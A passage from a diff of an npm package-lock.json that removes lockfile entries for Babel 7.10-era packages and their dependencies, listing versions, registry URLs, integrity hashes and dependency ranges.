"https://registry.npmjs.org/@babel/generator/-/generator-7.10.5.tgz", - "integrity": "sha512-3vXxr3FEW7E7lJZiWQ3bM4+v/Vyr9C+hpolQ8BGFr9Y8Ri2tFLWTixmwKBafDujO1WVah4fhZBeU1bieKdghig==", - "dev": true, - "dependencies": { - "@babel/types": "^7.10.5", - "jsesc": "^2.5.1", - "source-map": "^0.5.0" - } - }, - "node_modules/@babel/generator/node_modules/jsesc": { - "version": "2.5.2", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-2.5.2.tgz", - "integrity": "sha512-OYu7XEzjkCQ3C5Ps3QIZsQfNpqoJyZZA99wd9aWd05NCtC5pWOkShK2mkL6HXQR6/Cy2lbNdPlZBpuQHXE63gA==", - "dev": true, - "bin": { - "jsesc": "bin/jsesc" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/@babel/helper-annotate-as-pure": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-annotate-as-pure/-/helper-annotate-as-pure-7.10.4.tgz", - "integrity": "sha512-XQlqKQP4vXFB7BN8fEEerrmYvHp3fK/rBkRFz9jaJbzK0B1DSfej9Kc7ZzE8Z/OnId1jpJdNAZ3BFQjWG68rcA==", - "dev": true, - "dependencies": { - "@babel/types": "^7.10.4" - } - }, - "node_modules/@babel/helper-builder-binary-assignment-operator-visitor": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-builder-binary-assignment-operator-visitor/-/helper-builder-binary-assignment-operator-visitor-7.10.4.tgz", - "integrity": "sha512-L0zGlFrGWZK4PbT8AszSfLTM5sDU1+Az/En9VrdT8/LmEiJt4zXt+Jve9DCAnQcbqDhCI+29y/L93mrDzddCcg==", - "dev": true, - "dependencies": { - "@babel/helper-explode-assignable-expression": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "node_modules/@babel/helper-compilation-targets": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.10.4.tgz", - "integrity": "sha512-a3rYhlsGV0UHNDvrtOXBg8/OpfV0OKTkxKPzIplS1zpx7CygDcWWxckxZeDd3gzPzC4kUT0A4nVFDK0wGMh4MQ==", - "dev": true, - "dependencies": { - "@babel/compat-data": "^7.10.4", - "browserslist": "^4.12.0", - "invariant": "^2.2.4", - "levenary": "^1.1.1", - "semver": "^5.5.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0" - } - }, - "node_modules/@babel/helper-compilation-targets/node_modules/browserslist": { - "version": "4.13.0", - "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.13.0.tgz", - "integrity": "sha512-MINatJ5ZNrLnQ6blGvePd/QOz9Xtu+Ne+x29iQSCHfkU5BugKVJwZKn/iiL8UbpIpa3JhviKjz+XxMo0m2caFQ==", - "dev": true, - "dependencies": { - "caniuse-lite": "^1.0.30001093", - "electron-to-chromium": "^1.3.488", - "escalade": "^3.0.1", - "node-releases": "^1.1.58" - }, - "bin": { - "browserslist": "cli.js" - }, - "engines": { - "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" - }, - "funding": { - "type": "tidelift", - "url": "https://tidelift.com/funding/github/npm/browserslist" - } - }, - "node_modules/@babel/helper-compilation-targets/node_modules/caniuse-lite": { - "version": "1.0.30001100", - "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001100.tgz", - "integrity": "sha512-0eYdp1+wFCnMlCj2oudciuQn2B9xAFq3WpgpcBIZTxk/1HNA/O2YA7rpeYhnOqsqAJq1AHUgx6i1jtafg7m2zA==", - "dev": true - }, - "node_modules/@babel/helper-compilation-targets/node_modules/electron-to-chromium": { - "version": "1.3.498", - "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.3.498.tgz", - "integrity": "sha512-W1hGwaQEU8j9su2jeAr3aabkPuuXw+j8t73eajGAkEJWbfWiwbxBwQN/8Qmv2qCy3uCDm2rOAaZneYQM8VGC4w==", - "dev": true - }, - "node_modules/@babel/helper-compilation-targets/node_modules/node-releases": { - "version": "1.1.59", - "resolved": "https://registry.npmjs.org/node-releases/-/node-releases-1.1.59.tgz", - "integrity": "sha512-H3JrdUczbdiwxN5FuJPyCHnGHIFqQ0wWxo+9j1kAXAzqNMAHlo+4I/sYYxpyK0irQ73HgdiyzD32oqQDcU2Osw==", - "dev": true - }, - "node_modules/@babel/helper-create-class-features-plugin": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/helper-create-class-features-plugin/-/helper-create-class-features-plugin-7.10.5.tgz", - "integrity": "sha512-0nkdeijB7VlZoLT3r/mY3bUkw3T8WG/hNw+FATs/6+pG2039IJWjTYL0VTISqsNHMUTEnwbVnc89WIJX9Qed0A==", - "dev": true, - "dependencies": { - "@babel/helper-function-name": "^7.10.4", - "@babel/helper-member-expression-to-functions": "^7.10.5", - "@babel/helper-optimise-call-expression": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/helper-replace-supers": "^7.10.4", - "@babel/helper-split-export-declaration": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0" - } - }, - "node_modules/@babel/helper-create-regexp-features-plugin": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-create-regexp-features-plugin/-/helper-create-regexp-features-plugin-7.10.4.tgz", - "integrity": "sha512-2/hu58IEPKeoLF45DBwx3XFqsbCXmkdAay4spVr2x0jYgRxrSNp+ePwvSsy9g6YSaNDcKIQVPXk1Ov8S2edk2g==", - "dev": true, - "dependencies": { - "@babel/helper-annotate-as-pure": "^7.10.4", - "@babel/helper-regex": "^7.10.4", - "regexpu-core": "^4.7.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0" - } - }, - "node_modules/@babel/helper-create-regexp-features-plugin/node_modules/jsesc": { - "version": "0.5.0", - "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-0.5.0.tgz", - "integrity": "sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=", - "dev": true, - "bin": { - "jsesc": "bin/jsesc" - } - }, - "node_modules/@babel/helper-create-regexp-features-plugin/node_modules/regexpu-core": { - "version": "4.7.0", - "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.7.0.tgz", - "integrity": "sha512-TQ4KXRnIn6tz6tjnrXEkD/sshygKH/j5KzK86X8MkeHyZ8qst/LZ89j3X4/8HEIfHANTFIP/AbXakeRhWIl5YQ==", - "dev": true, - "dependencies": { - "regenerate": "^1.4.0", - "regenerate-unicode-properties": "^8.2.0", - "regjsgen": "^0.5.1", - "regjsparser": "^0.6.4", - "unicode-match-property-ecmascript": "^1.0.4", - "unicode-match-property-value-ecmascript": "^1.2.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/@babel/helper-create-regexp-features-plugin/node_modules/regjsgen": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.2.tgz", - "integrity": "sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==", - "dev": true - }, - "node_modules/@babel/helper-create-regexp-features-plugin/node_modules/regjsparser": { - "version": "0.6.4", - "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.6.4.tgz", - "integrity": "sha512-64O87/dPDgfk8/RQqC4gkZoGyyWFIEUTTh80CU6CWuK5vkCGyekIx+oKcEIYtP/RAxSQltCZHCNu/mdd7fqlJw==", - "dev": true, - "dependencies": { - "jsesc": "~0.5.0" - }, - "bin": { - "regjsparser": "bin/parser" - } - }, - "node_modules/@babel/helper-define-map": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/helper-define-map/-/helper-define-map-7.10.5.tgz", - "integrity": "sha512-fMw4kgFB720aQFXSVaXr79pjjcW5puTCM16+rECJ/plGS+zByelE8l9nCpV1GibxTnFVmUuYG9U8wYfQHdzOEQ==", - "dev": true, - "dependencies": { - "@babel/helper-function-name": "^7.10.4", - "@babel/types": "^7.10.5", - "lodash": "^4.17.19" - } - }, - "node_modules/@babel/helper-explode-assignable-expression": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-explode-assignable-expression/-/helper-explode-assignable-expression-7.10.4.tgz", - "integrity": "sha512-4K71RyRQNPRrR85sr5QY4X3VwG4wtVoXZB9+L3r1Gp38DhELyHCtovqydRi7c1Ovb17eRGiQ/FD5s8JdU0Uy5A==", - "dev": true, - "dependencies": { - "@babel/traverse": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "node_modules/@babel/helper-function-name": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-function-name/-/helper-function-name-7.10.4.tgz", - "integrity": "sha512-YdaSyz1n8gY44EmN7x44zBn9zQ1Ry2Y+3GTA+3vH6Mizke1Vw0aWDM66FOYEPw8//qKkmqOckrGgTYa+6sceqQ==", - "dev": true, - "dependencies": { - "@babel/helper-get-function-arity": "^7.10.4", - "@babel/template": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "node_modules/@babel/helper-get-function-arity": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-get-function-arity/-/helper-get-function-arity-7.10.4.tgz", - "integrity": "sha512-EkN3YDB+SRDgiIUnNgcmiD361ti+AVbL3f3Henf6dqqUyr5dMsorno0lJWJuLhDhkI5sYEpgj6y9kB8AOU1I2A==", - "dev": true, - "dependencies": { - "@babel/types": "^7.10.4" - } - }, - "node_modules/@babel/helper-hoist-variables": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-hoist-variables/-/helper-hoist-variables-7.10.4.tgz", - "integrity": "sha512-wljroF5PgCk2juF69kanHVs6vrLwIPNp6DLD+Lrl3hoQ3PpPPikaDRNFA+0t81NOoMt2DL6WW/mdU8k4k6ZzuA==", - "dev": true, - "dependencies": { - "@babel/types": "^7.10.4" - } - }, - "node_modules/@babel/helper-member-expression-to-functions": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/helper-member-expression-to-functions/-/helper-member-expression-to-functions-7.10.5.tgz", - "integrity": "sha512-HiqJpYD5+WopCXIAbQDG0zye5XYVvcO9w/DHp5GsaGkRUaamLj2bEtu6i8rnGGprAhHM3qidCMgp71HF4endhA==", - "dev": true, - "dependencies": { - "@babel/types": "^7.10.5" - } - }, - "node_modules/@babel/helper-module-imports": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.10.4.tgz", - "integrity": "sha512-nEQJHqYavI217oD9+s5MUBzk6x1IlvoS9WTPfgG43CbMEeStE0v+r+TucWdx8KFGowPGvyOkDT9+7DHedIDnVw==", - "dev": true, - "dependencies": { - "@babel/types": "^7.10.4" - } - }, - "node_modules/@babel/helper-module-transforms": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.10.5.tgz", - "integrity": "sha512-4P+CWMJ6/j1W915ITJaUkadLObmCRRSC234uctJfn/vHrsLNxsR8dwlcXv9ZhJWzl77awf+mWXSZEKt5t0OnlA==", - "dev": true, - "dependencies": { - "@babel/helper-module-imports": "^7.10.4", - "@babel/helper-replace-supers": "^7.10.4", - "@babel/helper-simple-access": "^7.10.4", - "@babel/helper-split-export-declaration": "^7.10.4", - "@babel/template": "^7.10.4", - "@babel/types": "^7.10.5", - "lodash": "^4.17.19" - } - }, - "node_modules/@babel/helper-optimise-call-expression": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-optimise-call-expression/-/helper-optimise-call-expression-7.10.4.tgz", - "integrity": "sha512-n3UGKY4VXwXThEiKrgRAoVPBMqeoPgHVqiHZOanAJCG9nQUL2pLRQirUzl0ioKclHGpGqRgIOkgcIJaIWLpygg==", - "dev": true, - "dependencies": { - "@babel/types": "^7.10.4" - } - }, - "node_modules/@babel/helper-plugin-utils": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-plugin-utils/-/helper-plugin-utils-7.10.4.tgz", - "integrity": "sha512-O4KCvQA6lLiMU9l2eawBPMf1xPP8xPfB3iEQw150hOVTqj/rfXz0ThTb4HEzqQfs2Bmo5Ay8BzxfzVtBrr9dVg==", - "dev": true - }, - "node_modules/@babel/helper-regex": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/helper-regex/-/helper-regex-7.10.5.tgz", - "integrity": "sha512-68kdUAzDrljqBrio7DYAEgCoJHxppJOERHOgOrDN7WjOzP0ZQ1LsSDRXcemzVZaLvjaJsJEESb6qt+znNuENDg==", - "dev": true, - "dependencies": { - "lodash": "^4.17.19" - } - }, - "node_modules/@babel/helper-remap-async-to-generator": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.10.4.tgz", - "integrity": "sha512-86Lsr6NNw3qTNl+TBcF1oRZMaVzJtbWTyTko+CQL/tvNvcGYEFKbLXDPxtW0HKk3McNOk4KzY55itGWCAGK5tg==", - "dev": true, - "dependencies": { - "@babel/helper-annotate-as-pure": "^7.10.4", - "@babel/helper-wrap-function": "^7.10.4", - "@babel/template": "^7.10.4", - "@babel/traverse": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "node_modules/@babel/helper-replace-supers": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.10.4.tgz", - "integrity": "sha512-sPxZfFXocEymYTdVK1UNmFPBN+Hv5mJkLPsYWwGBxZAxaWfFu+xqp7b6qWD0yjNuNL2VKc6L5M18tOXUP7NU0A==", - "dev": true, - "dependencies": { - "@babel/helper-member-expression-to-functions": "^7.10.4", - "@babel/helper-optimise-call-expression": "^7.10.4", - "@babel/traverse": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "node_modules/@babel/helper-simple-access": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.10.4.tgz", - "integrity": "sha512-0fMy72ej/VEvF8ULmX6yb5MtHG4uH4Dbd6I/aHDb/JVg0bbivwt9Wg+h3uMvX+QSFtwr5MeItvazbrc4jtRAXw==", - "dev": true, - "dependencies": { - "@babel/template": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "node_modules/@babel/helper-split-export-declaration": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.10.4.tgz", - "integrity": "sha512-pySBTeoUff56fL5CBU2hWm9TesA4r/rOkI9DyJLvvgz09MB9YtfIYe3iBriVaYNaPe+Alua0vBIOVOLs2buWhg==", - "dev": true, - "dependencies": { - "@babel/types": "^7.10.4" - } - }, - "node_modules/@babel/helper-validator-identifier": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.10.4.tgz", - "integrity": "sha512-3U9y+43hz7ZM+rzG24Qe2mufW5KhvFg/NhnNph+i9mgCtdTCtMJuI1TMkrIUiK7Ix4PYlRF9I5dhqaLYA/ADXw==", - "dev": true - }, - "node_modules/@babel/helper-wrap-function": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.10.4.tgz", - "integrity": "sha512-6py45WvEF0MhiLrdxtRjKjufwLL1/ob2qDJgg5JgNdojBAZSAKnAjkyOCNug6n+OBl4VW76XjvgSFTdaMcW0Ug==", - "dev": true, - "dependencies": { - "@babel/helper-function-name": "^7.10.4", - "@babel/template": "^7.10.4", - "@babel/traverse": "^7.10.4", - "@babel/types": "^7.10.4" - } - }, - "node_modules/@babel/highlight": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.10.4.tgz", - "integrity": "sha512-i6rgnR/YgPEQzZZnbTHHuZdlE8qyoBNalD6F+q4vAFlcMEcqmkoG+mPqJYJCo63qPf74+Y1UZsl3l6f7/RIkmA==", - "dev": true, - "dependencies": { - "@babel/helper-validator-identifier": "^7.10.4", - "chalk": "^2.0.0", - "js-tokens": "^4.0.0" - } - }, - "node_modules/@babel/highlight/node_modules/ansi-styles": { - "version": "3.2.1", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz", - "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==", - "dev": true, - "dependencies": { - "color-convert": "^1.9.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/@babel/highlight/node_modules/chalk": { - "version": "2.4.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", - "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", - "dev": true, - "dependencies": { - "ansi-styles": "^3.2.1", - "escape-string-regexp": "^1.0.5", - "supports-color": "^5.3.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/@babel/highlight/node_modules/color-convert": { - "version": "1.9.3", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-1.9.3.tgz", - "integrity": "sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==", - "dev": true, - "dependencies": { - "color-name": "1.1.3" - } - }, - "node_modules/@babel/highlight/node_modules/has-flag": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-3.0.0.tgz", - "integrity": "sha1-tdRU3CGZriJWmfNGfloH87lVuv0=", - "dev": true, - "engines": { - "node": ">=4" - } - }, - "node_modules/@babel/highlight/node_modules/js-tokens": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", - "dev": true - }, - "node_modules/@babel/highlight/node_modules/supports-color": { - "version": "5.5.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", - "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", - "dev": true, - "dependencies": { - "has-flag": "^3.0.0" - }, - "engines": { - "node": ">=4" - } - }, - "node_modules/@babel/parser": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.10.5.tgz", - "integrity": "sha512-wfryxy4bE1UivvQKSQDU4/X6dr+i8bctjUjj8Zyt3DQy7NtPizJXT8M52nqpNKL+nq2PW8lxk4ZqLj0fD4B4hQ==", - "dev": true, - "bin": { - "parser": "bin/babel-parser.js" - }, - "engines": { - "node": ">=6.0.0" - } - }, - "node_modules/@babel/plugin-proposal-async-generator-functions": { - "version": "7.10.5", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.10.5.tgz", - "integrity": "sha512-cNMCVezQbrRGvXJwm9fu/1sJj9bHdGAgKodZdLqOQIpfoH3raqmRPBM17+lh7CzhiKRRBrGtZL9WcjxSoGYUSg==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/helper-remap-async-to-generator": "^7.10.4", - "@babel/plugin-syntax-async-generators": "^7.8.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-class-properties": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.10.4.tgz", - "integrity": "sha512-vhwkEROxzcHGNu2mzUC0OFFNXdZ4M23ib8aRRcJSsW8BZK9pQMD7QB7csl97NBbgGZO7ZyHUyKDnxzOaP4IrCg==", - "dev": true, - "dependencies": { - "@babel/helper-create-class-features-plugin": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-dynamic-import": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.10.4.tgz", - "integrity": "sha512-up6oID1LeidOOASNXgv/CFbgBqTuKJ0cJjz6An5tWD+NVBNlp3VNSBxv2ZdU7SYl3NxJC7agAQDApZusV6uFwQ==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-syntax-dynamic-import": "^7.8.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-json-strings": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.10.4.tgz", - "integrity": "sha512-fCL7QF0Jo83uy1K0P2YXrfX11tj3lkpN7l4dMv9Y9VkowkhkQDwFHFd8IiwyK5MZjE8UpbgokkgtcReH88Abaw==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-syntax-json-strings": "^7.8.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-nullish-coalescing-operator": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.10.4.tgz", - "integrity": "sha512-wq5n1M3ZUlHl9sqT2ok1T2/MTt6AXE0e1Lz4WzWBr95LsAZ5qDXe4KnFuauYyEyLiohvXFMdbsOTMyLZs91Zlw==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-numeric-separator": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.10.4.tgz", - "integrity": "sha512-73/G7QoRoeNkLZFxsoCCvlg4ezE4eM+57PnOqgaPOozd5myfj7p0muD1mRVJvbUWbOzD+q3No2bWbaKy+DJ8DA==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-syntax-numeric-separator": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-object-rest-spread": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.10.4.tgz", - "integrity": "sha512-6vh4SqRuLLarjgeOf4EaROJAHjvu9Gl+/346PbDH9yWbJyfnJ/ah3jmYKYtswEyCoWZiidvVHjHshd4WgjB9BA==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-syntax-object-rest-spread": "^7.8.0", - "@babel/plugin-transform-parameters": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-optional-catch-binding": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.10.4.tgz", - "integrity": "sha512-LflT6nPh+GK2MnFiKDyLiqSqVHkQnVf7hdoAvyTnnKj9xB3docGRsdPuxp6qqqW19ifK3xgc9U5/FwrSaCNX5g==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-syntax-optional-catch-binding": "^7.8.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-optional-chaining": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.10.4.tgz", - "integrity": "sha512-ZIhQIEeavTgouyMSdZRap4VPPHqJJ3NEs2cuHs5p0erH+iz6khB0qfgU8g7UuJkG88+fBMy23ZiU+nuHvekJeQ==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4", - "@babel/plugin-syntax-optional-chaining": "^7.8.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-private-methods": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.10.4.tgz", - "integrity": "sha512-wh5GJleuI8k3emgTg5KkJK6kHNsGEr0uBTDBuQUBJwckk9xs1ez79ioheEVVxMLyPscB0LfkbVHslQqIzWV6Bw==", - "dev": true, - "dependencies": { - "@babel/helper-create-class-features-plugin": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-proposal-unicode-property-regex": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.10.4.tgz", - "integrity": "sha512-H+3fOgPnEXFL9zGYtKQe4IDOPKYlZdF1kqFDQRRb8PK4B8af1vAGK04tF5iQAAsui+mHNBQSAtd2/ndEDe9wuA==", - "dev": true, - "dependencies": { - "@babel/helper-create-regexp-features-plugin": "^7.10.4", - "@babel/helper-plugin-utils": "^7.10.4" - }, - "engines": { - "node": ">=4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-syntax-async-generators": { - "version": "7.8.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", - "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.8.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-syntax-class-properties": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.10.4.tgz", - "integrity": "sha512-GCSBF7iUle6rNugfURwNmCGG3Z/2+opxAMLs1nND4bhEG5PuxTIggDBoeYYSujAlLtsupzOHYJQgPS3pivwXIA==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-syntax-dynamic-import": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", - "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.8.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-syntax-json-strings": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", - "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.8.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", - "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.8.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-syntax-numeric-separator": { - "version": "7.10.4", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", - "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.10.4" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - "node_modules/@babel/plugin-syntax-object-rest-spread": { - "version": "7.8.3", - "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", - "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", - "dev": true, - "dependencies": { - "@babel/helper-plugin-utils": "^7.8.0" - }, - "peerDependencies": { - "@babel/core": "^7.0.0-0" - } - }, - 